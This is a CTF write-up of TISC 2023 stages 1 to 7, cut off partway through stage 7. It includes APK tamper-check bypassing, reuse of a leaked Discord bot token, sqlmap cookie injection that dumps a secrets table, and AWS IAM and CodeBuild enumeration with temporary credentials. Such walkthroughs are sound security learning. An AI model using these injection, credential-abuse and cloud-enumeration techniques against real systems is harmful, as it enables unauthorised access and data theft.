TISC 2023
TISC is a CTF organised by Singapore’s CSIT, which is a government organisation whose business it is to organise interesting CTFs.
The CTF has been organised yearly since since 2020. For 2023, it ran from 15 September to 1 October 2023. It consisted of 10 stages that had to be completed in sequence, with two branching paths at stage 6 that reconverges at stage 8. There was a pretty prize pool of SGD 10,000 for each of the final 3 stages, but I promise that was not what motivated me to participate.
TISC 2023Update, 2025: A more comprehensive and updated write-up is available for TISC 2025.
0. Welcome to TISC 2023!
This was not an easy task. I spent way too long trying to figure out what size of t-shirt I should wear. Unfortunately, things only got worse from there.
1. Disk Archaeology
After extracting the disk image challenge.img, we can browse through its contents with 7-Zip. To get a list of its contents, we can mount it as a loopback device and enumerate all files in the filesystem using find / -type f -print. This does not yield anything interesting.
What we are looking for is probably a file that has been delinked from the filesystem. The name of the problem also suggests this. We can try grepping the entire image:
grep -ab 'TISC' challenge.img -C 2
673780163-x86_64 673783815-ELF>�@�>@8 @#"@@@�����XX88 ���-�=�=8��-�=�=��0S�td0P�td$ $ $ $$Q�tdR�td�-�=�=00/lib/ld-musl-x86_64.so.1 GNU�� ��@ 673788749: �e�m������Q i � )� " 5srandprintf_init_fini__cxa_finalize__libc_start_mainlibc.musl-x86_64.so.1__deregi ster_frame_info_ITM_registerTMCloneTable_ITM_deregisterTMCloneTable__register_frame_info���@�? �?�?�?�?�?�?�?�?PX��5�/�%�/@�%�/h������%�/h������%�/h������%z/h����� %r/f��%r/f��%�/f�AT�q��UH�-�/SI��H�] ����@����I��HcЉ�Hi�O��N��H��#)�k�)Ѓ�aA�D$�I9�u�H��H�=&1��?���[1�]A\�H1�H��H�5�,H�����7H�L�*E1�H� ����H�=d����/���f.�DH�=�.H��.H9�tH��.H��t �����H�=�.H�5�.H)�H��H��?H��H�H��tH�].H����fD�����=u.uCUH�=".H��t H�=>.�����d���H�= .t H�=������7.]�D�ff. ��H�=�-t"UH�5*.H�=�H���K���]�5���D�+���PX�TISC{w4s_th3r3_s0m3th1ng_l3ft_%s} ����<<���d\���|zRx$����PFJ �?;*3$"D����(\����h B�F�H �RCB�; 5��=���o0�` 673799809-� �?`�8� ���o���o�=&6FV@GCC: (Alpine 12.2.1_git20220924-r10) 12.2.1 20220924,�#<Z5< }6Vd intD? Y!RM^ 673800541-s
This yields the string TISC{w4s_th3r3_s0m3th1ng_l3ft_%s}. As the text suggests, this is not the complete flag (I tried submitting it).
From the grep output, we can spot an ELF header at address 0x673783815, which should be a Linux binary executable. We can extract this ELF file in order to run it (in a container):
tail -c +673787905 challenge.img | head -c 18k > dumpfile
This extracts 18 kB into the file; extracting a smaller amount will result in error messages that point to an offset of about 18k, hence this size.
There is one more slight complication, which is that the binary was compiled with musl libraries. We have to run it in an Alpine container:
docker run -it --rm --mount type=bind,source=abs_path/dumpfile,target=/dumpfile,readonly alpine
Once we execute it with
/dumpfile
the full flag is printed to stdout.
2. XIPHEREHPIX’s Reckless Mistake
We can try to run the binary (in an Ubuntu container this time), or look at the source code in prog.c directly.
The main function reads a password from stdin, checks that it is at least 40 characters, then calls verify_password(). If that passes, it calls initialise_key() which populates the char array key. The key is then used to decrypt the secret message (presumably the flag) in show_welcome_message().
The interesting part is in the initialise_key() function. This generates a 256-bit key from the password by stepping through each bit and conditionally xoring an accumulator with one of 20 components. At the end of this process, the contents of the accumulator is left in the output buffer.
Since xors are commutative and any two xors will cancel out, the final generated key contains only 20 bits of information: for each of the 20 components, is the component cancelled out in the final result? This is perfectly feasible to brute force.
To do this, we need to generate the component vectors. This can probably be done by repeatedly hashing the seed value just like in the source code, but I decided to gdb into the binary and extract it from memory, for some reason. The components are (in Python notation):
[ b"\x15\xf8\xfc\xcd\xc9\x59\xe4\xe5\xf8\xbf\x42\xc0\xae\xce\xd5\x9c\x5e\x72\xf3\xce\x39\x56\xc2\xd6\x19\xbf\xbf\x2a\x69\x76\x35\xe7", b"\x61\x92\x3c\x9b\xec\x5b\x32\x1d\x66\xc0\xa5\x3c\x5f\x1d\x90\x2c\x9a\x86\xa7\x13\xac\x0b\xda\xc0\xa7\x51\x09\x03\x6b\xce\x97\xca", b"\x48\x53\x2a\xfd\xb6\x86\xf4\x1c\x60\xf3\xf9\x16\x40\xe9\x01\xf2\xca\x9c\xbc\x91\x79\xaa\xa2\x78\xd8\x9b\x6f\x82\x05\x11\x21\x5b", b"\xe7\xea\x27\x5b\xd8\x28\x2f\xdf\xe4\x4f\x69\xce\xdd\xe5\x2b\x1a\xa9\xd4\x5f\xf9\xd4\x57\x72\x66\xe7\xb7\x60\x06\xea\xe4\x6e\xee", b"\x46\x99\x23\x04\x37\x8a\xf6\x0b\x82\x5d\x53\x09\xb4\xb4\xb5\x71\x5d\x30\x6d\x85\x3a\xca\x5b\x96\x55\x86\x27\x90\xab\x51\x4d\x44", b"\xf5\x9a\x9e\x1e\xdb\xd8\x38\x03\x8d\xdb\xf8\xba\xc9\x59\xd9\x7a\x54\x9b\x85\xde\x0d\xc8\x00\xe4\x4c\xcd\xf0\x65\x15\x78\xa5\x3d", b"\xfc\x67\xfa\xf5\xc7\x03\xc1\x43\x9d\x6c\x96\xc5\xf6\x03\x63\x22\xe1\xb6\x54\xbe\x42\x25\x5a\x4a\xe6\xa8\x40\xc6\x2d\xad\x1d\xd8", b"\xcb\x40\x32\xcf\x51\x93\xdb\x3e\x2b\xc5\xe7\xb1\xfd\x21\x8f\x44\xc6\x0f\xd1\x03\x9f\x6f\x1d\x25\xcc\x06\xd2\xeb\x43\x78\xfb\x0f", b"\xdb\x0c\xa5\xbe\x27\x52\xc0\xeb\x2d\xe4\x74\xe9\xf8\x9f\x6e\x1c\xca\x58\x9a\xee\xd3\xc0\x4c\x1d\x8b\x72\x68\x62\xb9\xf9\xd8\x96", b"\x9d\x1f\x0d\xa1\xe5\x3c\xeb\xe2\x2e\xb7\xbe\x79\x84\x50\xff\x68\x6f\x32\x02\xcd\x6c\xe1\x47\x6f\x3d\x22\x06\x8c\x95\x24\xfd\x5d", b"\x14\x5c\x4d\x3a\xaf\xb5\x71\x3a\x5c\x45\x8b\x11\x0d\x8a\x06\xfc\x88\xe3\xe3\xd2\x58\x69\xce\xd3\x9c\x12\x43\xd8\x0f\x6b\x69\xaf", b"\x18\xe6\x1e\x96\x1c\x84\x94\xaf\x6a\x6c\x73\x1d\xee\x53\x14\x6d\x24\xd1\x79\xe1\xb6\xf4\x09\xae\x4f\x4b\x11\x45\x79\x3d\x09\xc9", b"\x0c\x2b\x9b\x1b\x0a\xa8\x20\x7e\x01\x86\x9c\x70\x3f\xcb\x4b\x09\x5f\x59\xdc\xd6\x2d\x06\x0e\xac\xbe\xa9\x24\xd8\xb0\x31\xea\xce", b"\xc8\xbd\x3b\xeb\x06\xaf\xd8\xf8\xdf\x76\xd1\x0e\x8f\x5b\x4c\x1e\x37\xc0\x84\x9a\xe5\x11\xb6\x28\x0a\xd9\x10\xa8\xe0\xbf\xa3\x7c", b"\x48\xd2\xdb\xdd\x2e\xa5\xd6\xb4\xa1\xd8\xda\x93\xf2\x20\x83\xcb\x4b\x3b\xb5\x55\x4f\xd8\x8a\x68\x96\xce\x00\x50\xd2\xf4\xe0\x4d", b"\xee\x5c\x5d\x69\x4a\xc4\x2f\x8b\x7b\x7b\xf4\x75\x81\xad\x0c\x52\xc7\x57\xa4\xe7\x1e\x13\x89\xe7\x48\xf5\x45\x49\xe6\xa1\x99\xb4", b"\x61\xb4\x1d\x1f\x72\x12\xd0\x57\xf1\xa4\x6c\x16\xf8\xee\x11\xa7\x38\x1c\x3d\x0a\xd1\x27\x44\xaf\x0b\x6f\x81\xc3\xa4\x7d\x3e\x0d", b"\x9b\x27\xee\x52\x19\x50\x5f\x0e\x57\xc0\x0c\x4b\x83\x8f\x96\x08\xa0\xca\x0b\x99\xd0\xa1\x67\xf1\x36\x7e\xbd\x2e\x5c\xba\x5a\x3a", b"\x15\x72\xf8\x3e\x43\x54\x62\xce\xdf\x31\xec\x37\xad\x6e\x17\x8c\x9b\xf4\xf0\xe4\xbe\x9c\xbb\xfd\xaa\xc5\xf5\x86\x93\x6b\xd7\x3d", b"\x4d\x9c\x58\x6c\xf6\xe4\x68\xc6\xa8\xbd\xca\x3d\x91\x02\x14\xeb\x16\x3f\xf2\x26\xeb\x6e\x13\xa9\xc8\x0d\xed\x5e\x13\x7f\x7b\xe2", ]
Since the cipher uses AES in Galois/Counter Mode, we can verify when we have found the right key using the value of tag defined in show_welcome_message(). This is straightforward using the PyCryptodome library:
from Crypto.Cipher import AES
cipher = AES.new(candidate.tobytes(), AES.MODE_GCM, nonce=iv)
cipher.update(header)
try:
cipher.decrypt_and_verify(ciphertext, tag)
except ValueError as e:
print("not the key")
using the values of iv, header, ciphertext and tag from prog.c.
Once successfully decrypted, the plaintext gives the flag.
3. KPA
An APK file is just a zip file with an extra signature block. Details about the binary format of zip can be found on Wikipedia and this page by Florian Buchholz.
Given the hint in the prompt, we can check many things about the integrity of the zip file, but ultimately the only thing that ended up mattering was the comment field in the end of central directory record (EOCD). This field is supposed to give the length of the comment data that comes immediately after it. If its value is 0, then then the file should end immediately after it.
However, in the case of kpa.apk, the comment field has a value of 0xa, yet the file ends immediately after it. Starting an Android emulator from Android Studio, if we tried to install kpa.apk directly, an error is shown:
Thus we need to modify the APK and set the EOCD comment field to 0x0. We can then install it in the emulated device. Running it gives the following:
To get past this, we should to look into the source code. First, disassemble the APK using apktool:
apktool d kpa.apk
Smali is the assembly language for Android’s Dalvik virtual machine. It operates on 32-bit registers, referred to by the names vn where n is an integer starting from 0. Some of the registers are used to store the method parameters, and these can also be referred to as pn. For non-static methods, p0 refers to this. Additional references about Smali: registers, instructions, types.
Searching in the Smali files for the strings from the “CHECK FAILED” dialog leads us to the com/tisc/kappa/MainActivity.smali file. The instructions of interest are
invoke-static {}, Lj1/b;->e()Z
move-result v0
if-eqz v0, :cond_0
const-string v0, "CHECK FAILED"
const-string v1, "BYE"
const-string v2, "Suspicious device detected!"
invoke-direct {p0, v2, v0, v1}, Lcom/tisc/kappa/MainActivity;->P(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
This invokes the static method b.e from j1/b.smali, which returns a boolean. There is a conditional branch to the label :cond_0 if the return value is 0. Otherwise, the MainActivity.P method is called with the three strings, presumably causing the dialog to display.
To bypass this check, we simply replace the move-result v0 instruction with const v0, 0x0.
Now we need to recompile the APK. First, we need to generate a signing key (using keytool provided by JDK):
keytool -genkey -v -keystore kpa.keystore -alias kpa -keyalg RSA -keysize 4096 -validity 10000
Then run the following to build the APK and align it and sign it (using zipalign and apksigner provided by the Android SDK in its build-tools directory):
apktool b kpa
zipalign -v 4 kpa/dist/kpa.apk kpa/dist/kpa-aligned.apk
apksigner sign -v --ks kpa.keystore kpa/dist/kpa-aligned.apk
If the above are successful, we can install the modified APK in the Android emulator and run the app again. This time, a blank orange screen shows up. There seems to be another check that we are failing.
Returning to the source code in MainActivity.smali, we look further down after the branch to :cond_0. There are two more conditional branches:
const/16 v1, 0x14
invoke-static {v0}, Lj1/a;->a(Landroid/content/pm/PackageManager;)I
move-result v0
if-eq v0, v1, :cond_1
and
invoke-static {}, Lj1/b;->e()Z
move-result v0
if-nez v0, :cond_2
For each branch, we can modify the code to force it to take either path in turn.
The first thing that I tried was to force the first branch to be taken, to jump to :cond_1, by replacing move-result v0 with const/16 v0, 0x14. This was quite lucky as it seemed to be the right thing to do; the app now showed this instead:
This seems to suggest that we should search the Android filesystem for a password. We can go back to the source files again and look at the code after the label :cond_1. There is a call to MainActivity.O which appears to be uninteresting Android API calls, a call to setContentView, and finally an instantiation of sw followed by a call to sw.a. The sw class is in the same directory as MainActivity and may contain some interesting things.
Looking there, sw.a contains a string "KAPPA", which is promising. But instead of a file path, we find this:
const-string v0, "KAPPA"
invoke-static {}, Lcom/tisc/kappa/sw;->css()Ljava/lang/String;
move-result-object v1
invoke-static {v0, v1}, Ljava/lang/System;->setProperty(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
This calls System.setProperty and sets a property with key “KAPPA” to the value returned from the sw.css method. This value might be what we are looking for. We can get it by adding an instruction before System.setProperty to print the value to the Android log:
invoke-static {v0, v1}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I
Start logcat with a filter filter for “KAPPA”:
adb logcat -s KAPPA
Then recompile and reinstall and run the app. The password is printed in logcat. Typing the password into the text input in the app will cause an alert to appear with the flag.
4. Really Unfair Battleships Game
Start a Windows Sandbox and run rubg_1.0.0.exe. The program takes a really long time to start, just as the problem statement warned. Eventually, it launches with some cool annoying music:
Clicking on any position usually ends the game immediately. On rare occasions, a ship is hit, but subsequent clicks inevitably lead to Defeat.
I first tried to run the game with networking disabled, but the game to refuse to start. Hence we should find out what kind of network activity it is doing. We can use WireShark to scan the Sandbox’s virtual interface, which reveals that the program is communicating with a server at rubg.chals.tisc23.ctf.sg.
On initial start, GET / is sent. This performs the network check.
Upon clicking Start, GET /generate is sent, and the response is a JSON containing four fields: a, b, c and d. Field a contains 32 integers, and most are close to powers of 2, which suggests some kind of sparse bitfield. If each integer is 8 bits, this gives 256 bits, matching the number of squares on the board. Therefore a likely represents the board. Meanwhile, b, c and d change with each request; b and c are integers given as strings, and may be checksums of some kind.
After some experimentation with a, I concluded that each integer represents a byte, and every 2 integers represent a row. Rows are represented bitwise little endian, which means that the normal binary represenation needs to be reversed to directly map to spaces on each row of the board.
Clicking on each square in the decoded board that corresponds to a 1 leads to the Victory screen, but not a Flawless Victory. We can only Retry, and the game carries on no differently as if we had gotten a Defeat.
We can try to modify the board returned by GET /generate, by intercepting the response and modifying a. After setting it to [0, 1, 0, 0, ...], we can click on just the top left square to end the game and get a Flawless Victory screen. From WireShark, we see that the game sends a POST /solve request when this happens, with a JSON payload of two fields: a and b. Since b is identical to d from the GET /generate response, it is probably a session token of some kind.
However, nothing more happens after this Flawless Victory. There is probably some server-side verification (tied to the session token) that we are failing.
At some point, I opened task manager and realised that the running process is called rubg.exe rather than rubg_1.0.0.exe. Right clicking on the process followed by “Show task location” leads us to the temporary directory where it had unpacked itself. It appears that rubg.exe is built with Electron, since it has an ASAR file at resources/app.asar. We can extract the contents of the ASAR:
npm install asar
mkdir asar
npx asar extract resources/app.asar asar
The main logic is found in asar/dist/assets/index-c08c228b.js. To make sense of it, we can start by looking for interesting strings. In particular, the filenames bomb-47e36b1b.wav, gameover-c91fde36.wav and victory-3e1ba9c7.wav are assigned to three variables that we can follow.
These eventually lead us to the async function m(x), in setup(e), in df. It uses the variables t and c which are initialised in setup(e). The values of t are populated in the function E() (and also in setup(e)). Additional utility functions called by m(x) include d(x) and f(x), both also in setup(e).
function f(x) {
let _ = [];
for (let y = 0; y < x.a.length; y += 2) _.push((x.a[y] << 8) + x.a[y + 1]);
return _;
}
function d(x) {
return (t.value[Math.floor(x / 16)] >> x % 16 & 1) === 1;
}
async function m(x) {
if (d(x)) {
t.value[Math.floor(x / 16)] ^= 1 << x % 16;
l.value[x] = 1;
new Audio(Ku).play();
c.value.push(`${n.value.toString(16).padStart(16,"0")[15-x%16]}${r.value.toString(16).padStart(16,"0")[Math.floor(x/16)]}`);
if (t.value.every(_ => _ === 0)) { // if board is cleared
if (JSON.stringify(c.value) === JSON.stringify([...c.value].sort())) {
const _ = {
a: [...c.value].sort().join(""),
b: s.value
};
i.value = 101;
o.value = (await $u(_)).flag;
new Audio(_s).play();
i.value = 4;
} else {
i.value = 3;
new Audio(_s).play();
}
}
} else {
i.value = 2;
new Audio(qu).play();
}
}
async function E() {
i.value = 101;
let x = await Hu();
t.value = f(x);
n.value = BigInt(x.b);
r.value = BigInt(x.c);
s.value = x.d;
i.value = 1;
l.value.fill(0);
c.value = [];
o.value = "";
}
The purposes of these are as follows:
E()- initialise the game state
m(x)- process a move, where
xis the position of the move d(x)- check if the move is a hit, where
xis again the position of the move f(x)- calculate the board given
x, which is the object returned by GET /generate t- game board
c- log of checksums of each move
For each move, two checksums are calculated: the first from n and the move position, and the second from r and the move position. These are appended to the checkum log, which is ultimately sent in POST /solve as the field a.
Looking in E(), the function Hu() obviously makes the GET /generate request.
async function Hu() {
return (await Sr.get("/generate")).data
}
Thus, the values n, r and s correspond to the fields b, c and d from the GET /generate response.
This suggests that a true Flawless Victory is only achieved when the moves are made in the correct order based on the fields b and c from the response to GET /generate; the correct order is when the checksum log is already in sorted order.
We can reproduce the checksum calculations in a Python script to compute the expected checksum log, then send the POST /solve request directly without interacting with the game. The server responds with a JSON containing the flag.
5. PALINDROME’s Invitation
In the GitHub repository, under its GitHub Actions, there is a failed job that might be interesting:
Run C:\msys64\usr\bin\wget.exe '''***/***''' -O test -d -v
C:\msys64\usr\bin\wget.exe '''***/***''' -O test -d -v
cat test
shell: C:\Program Files\PowerShell\7\pwsh.EXE -command ". '{0}'"
Setting --verbose (verbose) to 1
DEBUG output created by Wget 1.21.4 on cygwin.
Reading HSTS entries from /home/runneradmin/.wget-hsts
URI encoding = 'ANSI_X3.4-1968'
logging suppressed, strings may contain password
--2023-09-08 04:01:29-- ***/:dIcH:..uU9gp1%3C@%3C3Q%22DBM5F%3C)64S%3C(01tF(Jj%25ATV@$Gl
Resolving chals.tisc23.ctf.sg (chals.tisc23.ctf.sg)... 18.143.127.62, 18.143.207.255
Caching chals.tisc23.ctf.sg => 18.143.127.62 18.143.207.255
Connecting to chals.tisc23.ctf.sg (chals.tisc23.ctf.sg)|18.143.127.62|:45938... Closed fd 4
failed: Connection timed out.
Connecting to chals.tisc23.ctf.sg (chals.tisc23.ctf.sg)|18.143.207.255|:45938... Closed fd 4
failed: Connection timed out.
Releasing 0x0000000a00027870 (new refcount 1).
Retrying.
In fact, it reveals a server domain chals.tisc23.ctf.sg, port 45938, and an interesting URL-encoded string that turns out to be the password. Decoding the password gives :dIcH:..uU9gp1<@<3Q"DBM5F<)64S<(01tF(Jj%ATV@$Gl.
Going to http://chals.tisc23.ctf.sg:45938/, we can enter the password to get an invite link to the Discord server. However, when we join the server using this link, no messages are shown. There is some permissions trickery going on.
If we go back to the welcome page and re-enter the password, then view source, there is some kind of token in a comment. Eventually I realised that this was a Discord bot access token. It expires every 15 minutes, after which it has to be regenerated by re-submitting the password, which is very annoying.
To explore the Discord server using the token, I wrote a Python script to enumerate everything I could from the server using the discord package from PyPI. For instance, to enumerate channels,
for guild in client.guilds:
print(f"guild {guild.id}, {guild}")
for channel in guild.channels:
print(f"channel {channel.id}, {channel}, {type(channel)}")
In a channel called meeting-records, there is a single message that might mean something:
meeting 05072023
We can also try to search for archived threads:
try:
async for thread in channel.archived_threads(limit=None):
print(f"archived thread {thread.id}, {thread.name}")
async for message in thread.history(limit=None):
print(f"message {message.id}, {message.content}")
except discord.errors.Forbidden as e:
print(f"no permissions for archived threads")
This gives what looked like a promising chat log:
archived thread 1132171433263517706, meeting 05072023 message 1132171836470349884, This entire conversation is fictional and written by ChatGPT. message 1132171815666585683, Anya: (Whispering) I promise, Mama. Our lips are sealed! message 1132171795399721000, Yor: (Hugging Anya gently) That's the spirit, my little spy. We'll be the best team and support Papa in whatever way we can. But remember, we must keep everything a secret too. message 1132171766173802546, Anya: (Feeling important) I'll guard it with my life, Mama! And when the time comes, we'll be ready for whatever secret mission they have planned! message 1132171745021927524, Yor: (Nods knowingly) You might be onto something, Anya. Spies often use such clever tactics to keep their missions covert. Let's keep this invitation safe and see if anything happens closer to your supposed birthday. message 1132171723328991252, Anya: (Giggling) Yeah! Papa must have planned it for me. But, Mama, it's not my birthday yet. Do you think this is part of their mission? message 1132171703670288444, Yor: (Pretending to be surprised) Oh, my goodness! That's amazing, Anya. And it's for a secret spy meeting disguised as your birthday party? How cool is that? message 1132171690152046674, Anya: (Excitedly) Mama, look what I found! It's an invitation to a secret spy meeting! message 1132171676751253645, (Anya rushes off to her room, and after a moment, she comes back with a colorful birthday invitation. Notably, the invitation is signed off with: client_id 1076936873106231447) message 1132171636200714322, Anya: (Eyes lighting up) My room! I'll check there first! message 1132171619574489158, Yor: (Pats Anya's head affectionately) You already are, Anya. Just by being here and supporting us, you make everything better. Now, let's focus on finding that clue. Maybe it's hidden in one of your favorite places. message 1132171592751911004, Anya: (Giggling) Don't worry, Mama, I won't mess up anything. But I really want to be useful! message 1132171563693781102, Yor: (Playing along) Of course, my little spy-in-training! We can look for any clues that might be lying around. But remember, we have to be careful not to interfere with Papa's work directly. He wouldn't want us to get into any trouble. message 1132171549261185117, Anya: (Eager to help) I want to help Papa with this mission, Mama! Can we find out more about it? Maybe there's a clue hidden somewhere in the house! message 1132171518869258260, Yor: (Trying not to give too much away) Hmm, '66688,' you say? Well, it's not something I'm familiar with. But I'm sure it must be related to the clearance or authorization they need for this specific task. Spies always use these secret codes to communicate sensitive information. message 1132171495901237289, Anya: (Nods) Yeah, but Papa said it's a complicated operation, and they need some special permission with the number '66688' involved. I wonder what that means. message 1132171480290050108, Yor: (Intrigued) Oh, that sounds like a challenging mission. I'm sure your Papa will handle it well. We'll be cheering him on from the sidelines. message 1132171462229377094, Anya: (Whispers) It's something about infiltrating Singapore's cyberspace. They're planning to do something big there! message 1132171450401443874, Yor: (Smiling warmly) Really, Anya? That's wonderful! Tell me all about it. message 1132171436669288538, Anya: (Excitedly bouncing on her toes) Mama, Mama! Guess what, guess what? I overheard Loid talking to Agent Smithson about a new mission for their spy organization PALINDROME!
However, this ended up not being very useful. What was useful was finding that there were audit logs:
async for entry in guild.audit_logs(limit=None):
print(f"audit log entry {entry.id}, {entry.created_at}, user {entry.user_id} {entry.user}, {entry.action}, {entry.target}")
The output of this included various AuditLogAction.invite_create and AuditLogAction.invite_delete actions. Most of the invites were eventually deleted, with two exceptions. One of these was the one we used previously, while the other is very interesting.
If we use the other invite link with a real user, we can join the server and read the channel called flag, which contains the flag.
6. The Chosen Ones
If we go to the given website, we get a form where we seem to have to guess a randomly generated number. However, if we view source, there is a long comment containing some kind of encoded data:
MZ2W4Y3UNFXW4IDSMFXGI33NFAUXWJDQOJSXMIB5EASF6U2FKNJUST2OLMRHGZLFMQRF2OZEMN2XE4TFNZ2CAPJAFBUW45BJERYHEZLWEBPCAOBUGQ3TIMRZGA3DWIBEMN2XE4TFNZ2CAPJAMRSWGYTJNYUCIY3VOJZGK3TUFE5XO2DJNRSSQ43UOJWGK3RIERRXK4TSMVXHIKJ4GMZCS6ZEMN2XE4TFNZ2CAPJAEIYCELREMN2XE4TFNZ2DW7JEMZUXE43UEA6SA43VMJZXI4RIERRXK4TSMVXHILBQFQ3SSOZEONSWG33OMQQD2IDTOVRHG5DSFASGG5LSOJSW45BMG4WDENJJHMSGG5LSOJSW45BAHUQCI43FMNXW4ZBOERTGS4TTOQ5SIY3VOJZGK3TUEA6SAYTJNZSGKYZIERRXK4TSMVXHIKJ3ERPVGRKTKNEU6TS3EJZWKZLEEJOSAPJAERRXK4TSMVXHIO3SMV2HK4TOEASGG5LSOJSW45BFGEYDAMBQGAYDW7I
Since only uppercase letters are represented, this might be base32 encoded (it is). Decoding it gives a PHP script that appears to be the random number generator used by the server:
function random() {
$prev = $_SESSION["seed"];
$current = (int) $prev ^ 844742906;
$current = decbin($current);
while (strlen($current) < 32) {
$current = "0".$current;
}
$first = substr($current, 0, 7);
$second = substr($current, 7, 25);
$current = $second.$first;
$current = bindec($current);
$_SESSION["seed"] = $current;
return $current % 1000000;
}
This function uses the previous state as the RNG seed, and the output number is directly obtained from the current state, although in a non-injective way. Although we cannot directly reverse the function and use the output number to compute the internal state, we can search through reduced number of possible values (all integers that are equivalent modulo 1000000) and check if we have found the state.
First, reload the webpage to get a random number x₀, where x₀ ≡ s₀ (mod 1000000) for some internal state s₀.
Submit the form with any value to get a new random number x₁, which was obtained from the RNG seeded with s₀. Now try different values t where t ≡ x₀ (mod 1000000), and apply the RNG with each t, until the RNG produces an output that equals x₁. We have found t = s₀.
We can calculate the current internal state s₁ within the RNG function, and thereby predict what the next “random” number x₂ will be. Submitting x₂ in the form redirects us to a Personnel List page.
After sending some queries in the search form for the Personnel List, we find that each network request includes a cookie called rank, which may correspond to the Rank column in the table. If we edit this cookie, e.g. to 1, and send the request again, more results are returned.
Now try SQL injection with the cookie:
python sqlmap.py -u 'http://chals.tisc23.ctf.sg:51943/table.php' --cookie='rank=2; PHPSESSID=a'
python sqlmap.py -u 'http://chals.tisc23.ctf.sg:51943/table.php' --cookie='rank=2; PHPSESSID=a' --tables
python sqlmap.py -u 'http://chals.tisc23.ctf.sg:51943/table.php' --cookie='rank=2; PHPSESSID=a' --dump -T CTF_SECRET
This prints the flag.
7. DevSecMeow
This is basically a convoluted fetch quest.
If we head to the provided webpage, there are two additional links. The link for submitting details returns a JSON containing two AWS pre-signed URLs. The fields labeled csr and crt probably have something to do with the hint on the webpage about “mtls”, which is mutual TLS.
Meanwhile, the link for temporary credentials, which is to the IP 13.213.29.24, returns 403 Forbidden. A port scan on the IP revealed nothing. We probably need mTLS to access it.
For mTLS, we need to generate a key and a certificate signing request (CSR). We can try submitting the CSR to the csr URL and maybe get a signed certificate back from the crt URL:
openssl genrsa -out client.key 4096
openssl req -new -key client.key -out client.csr
curl -X PUT -T client.csr presigned_csr_url
wget presigned_crt_url -o client.13.213.29.24.crt
wget --certificate client.13.213.29.24.crt --private-key client.key --no-check-certificate https://13.213.29.24/ -O creds.json
This works, and in the last command we make a request to the temporary credentials link using mTLS. This returns a JSON file that contains AWS temporary credentials that last for 2 hours. When they expire, the last command can be re-run to get a new set.
Using these credentials, we can start exploring the AWS account. We want to determine what permissions we have. The following commands happen to work:
aws sts get-caller-identity
aws iam list-roles
aws iam list-policies
There will be a lot of such commands in this challenge, so we should log all of the outputs. From this, we can see that there is a policy matching each account named agent-*, including the current user. We can confirm that that policy is attached to the current user:
aws iam list-attached-user-policies
{
"AttachedPolicies": [
{
"PolicyName": "agent-b82baa962f314e76beda1bf34d1d3ca8",
"PolicyArn": "policy_arn"
}
]
}
Using the PolicyArn, we can get details about the policy attached to this user:
aws iam get-policy-version --policy-arn policy_arn --version_id v1
We should also check for the user’s inline policies with
aws iam list-user-policies
but this returns an empty list.
We now have the extent of permissions for this account:
iam get-policy(tried)ssm describe-parametersiam get-policy-version(tried)iam list*-policiesiam get*-policykms list-keysevents list-rulesevents describe-rulekms get-key-policycodepipeline list-pipelinescodebuild list-projectsiam list-roles(tried)codebuild batch-get-projectsiam list-attached-user-policiesfor the current usercodepipeline get-pipelinefor the pipeline devsecmeow-pipelines3api put-objectto the S3 bucket devsecmeow2023zip
We should try all of them in turn, but ultimately the interesting ones are codebuild, codepipelines and events.
Get the list of CodeBuild projects:
aws codebuild list-projects
{
"projects": [
"devsecmeow-build"
]
}
Get details of that project:
aws codebuild batch-get-projects --names devsecmeow-build
{
"projects": [
{
"name": "devsecmeow-build",
"arn": "arn:aws:codebuild:ap-southeast-1:232705437403:project/devsecmeow-build",
"source": {
"type": "CODEPIPELINE",
"buildspec": "version: 0.2\n\nphases:\n build:\n commands:\n - env\n - cd /usr/bin\n - curl -s -qL -o terraform.zip https://releases.hashicorp.com/terraform/1.4.6/terraform_1.4.6_linux_amd64.zip\n - unzip -o terraform.zip\n - cd \"$CODEBUILD_SRC_DIR\"\n - ls -la \n - terraform init \n - terraform plan\n",
"insecureSsl": false
},
"artifacts": {
"type": "CODEPIPELINE",
"name": "devsecmeow-build",
"packaging": "NONE",
"overrideArtifactName": false,
"encryptionDisabled": false
},
"cache": {
"type": "NO_CACHE"
},
"environment": {
"type": "LINUX_CONTAINER",
"image": "aws/codebuild/amazonlinux2-x86_64-standard:5.0",
"computeType": "BUILD_GENERAL1_SMALL",
"environmentVariables": [
{
"name": "flag1",
"value": "/devsecmeow/build/password",
"type": "PARAMETER_STORE"
}
],
"privilegedMode": false,
"imagePullCredentialsType": "CODEBUILD"
},
"serviceRole": "arn:aws:iam::232705437403:role/codebuild-role",
"timeoutInMinutes": 15,
"queuedTimeoutInMinutes": 480,
"encryptionKey": "arn:aws:kms:ap-southeast-1:232705437403:alias/aws/s3",
"tags": [],
"created": "2023-07-21T16:05:13.010000+01:00",
"lastModified": "2023-07-21T16:05:13.010000+01:00",
"badge": {
"badgeEnabled": false
},
"logsConfig": {
"cloudWatchLogs": {
"status": "ENABLED",
"groupName": "devsecmeow-codebuild-logs",
"streamName": "log-stream"
},
"s3Logs": {
"status": "DISABLED",
"encryptionDisabled": false
}
},
"projectVisibility": "PRIVATE"
}
],
"projectsNotFound": []
}
In the environment field, this appears to get a value from /devsecmeow/build/password in the parameter store (aws ssm describe-parameters) and put it in the environment variable flag1 during its runtime. Interesting.
The source.buildspec field can be decoded to plaintext to give
version: 0.2 phases: build: commands: - env - cd /usr/bin - curl -s -qL -o terraform.zip https://releases.hashicorp.com/terraform/1.4.6/terraform_1.4.6_linux_amd64.zip - unzip -o terraform.zip - cd \"$CODEBUILD_SRC_DIR\" - ls -la - terraform init - terraform plan
which appears to configure a runner that executes terraform init, which could potentially do really interesting things given the right main.tf file.
Get the list of CodePipeline pipelines:
aws codepipeline list-pipelines
{
"pipelines": [
{
"name": "devsecmeow-pipeline",
"version": 1,
"created": "2023-07-21T16:05:14.065000+01:00",
"updated": "2023-07-21T16:05:14.065000+01:00"
}
]
}
Get details of that pipeline:
aws codepipeline get-pipeline --name devsecmeow-pipeline
{
"pipeline": {
"name": "devsecmeow-pipeline",
"roleArn": "arn:aws:iam::232705437403:role/codepipeline-role",
"artifactStore": {
"type": "S3",
"location": "devsecmeow2023zip"
},
"stages": [
{
"name": "Source",
"actions": [
{
"name": "Source",
"actionTypeId": {
"category": "Source",
"owner": "AWS",
"provider": "S3",
"version": "1"
},
"runOrder": 1,
"configuration": {
"PollForSourceChanges": "false",
"S3Bucket": "devsecmeow2023zip",
"S3ObjectKey": "rawr.zip"
},
"outputArtifacts": [
